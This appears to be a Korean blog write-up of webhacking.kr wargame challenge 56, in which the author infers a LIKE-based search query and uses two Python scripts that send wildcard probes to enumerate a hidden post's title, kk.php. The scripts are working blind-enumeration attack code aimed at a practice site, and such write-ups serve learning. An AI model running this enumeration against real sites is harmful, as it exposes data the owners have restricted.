ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 56번 풀이
    Wargame/webhacking.kr (old) 2019. 5. 9. 12:54
    728x90

    게시판이다. readme를 읽는 문제인 것 같다.

    readme를 클릭하였는데 접근이 거부되었다.

     

    id가 guest인 hi~는 읽어진다.

     

    게시판에 검색창이 주어져 있다. 우선 admin과 guest를 입력해 검색해보았다.

     

    아무 값도 나오지 않는다...;; id로 검색하는게 아닌 것 같다.

    subject로 검색하는지 알아보기 위해 hi를 입력해보았다.

     

    subject에 의해 검색되는게 맞다.

    hi~가 아닌 hi를 검색했는데 결과가 나오는 것을 보니 쿼리문은 다음과 같이 예상할 수 있다.

    select * from challenge56 where subject like '%$search%'

     

    SQL Whild Card

    % : 0개 이상의 임의의 문자

    _ : 한개의 임의의 문자

     

    readme가 나오도록 search에 임의의 값들을 python을 이용해 알아내보았다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=5c97a627450ad95d7e877fab32203938;'}
    url = "http://webhacking.kr/challenge/web/web-33/index.php"
    string = ".0hkp" #readme에 들어가는 문자
    
    #Find String
    for i in range(33, 126):
    	if 65 <= i <= 90: continue
    	data = {'search' : chr(i)}
    	r = requests.post(url,headers=headers, data=data)
    	if r.text.find('admin') != -1:
    			print 'found : ', chr(i)

    [ 실행 결과 ]

     

    readme의 subject에 들어가는 문자는 위와 같다.

     

    우선 subject의 길이를 알아내기 위해 와일드 카드 _를 이용하였다.

    ____(4개) 를 입력하면 hi~는 3글자이기 때문에 사라진다.

     

    _______(7개) 를 입력하니 readme도 사라졌다. readme의 subject는 6글자이다.

    이를 이용하여 python을 이용하여 readme를 알아내보자.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=5c97a627450ad95d7e877fab32203938;'}
    url = "http://webhacking.kr/challenge/web/web-33/index.php"
    string = ".0hkp" #readme에 들어가는 문자
    
    #Find Readme
    temp_str = ''
    readme = ''
    for i in range(0, 6):
    	for k in range(i, 5):
    		temp_str += '_'
    	for j in string : 
    		data = {'search' : readme+j+temp_str}
    		r = requests.post(url,headers=headers, data=data)
    		if r.text.find('admin') != -1:
    			readme += j
    			temp_str = ''
    			print readme
    			break

    [ 실행 결과 ]

     

    readme의 subject 값은 kk.php이다.

    url을 통해 kk.php에 접근하면 문제가 풀린다.

     

     

    반응형

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 58번 풀이  (0) 2019.05.11
    [Webhacking.kr] 57번 풀이  (0) 2019.05.09
    [Webhacking.kr] 56번 풀이  (0) 2019.05.09
    [Webhacking.kr] 55번 풀이  (0) 2019.05.08
    [Webhacking.kr] 54번 풀이  (0) 2019.05.08
    [Webhacking.kr] 53번 풀이  (0) 2019.05.08

    댓글 0

@Jo Grini's Blog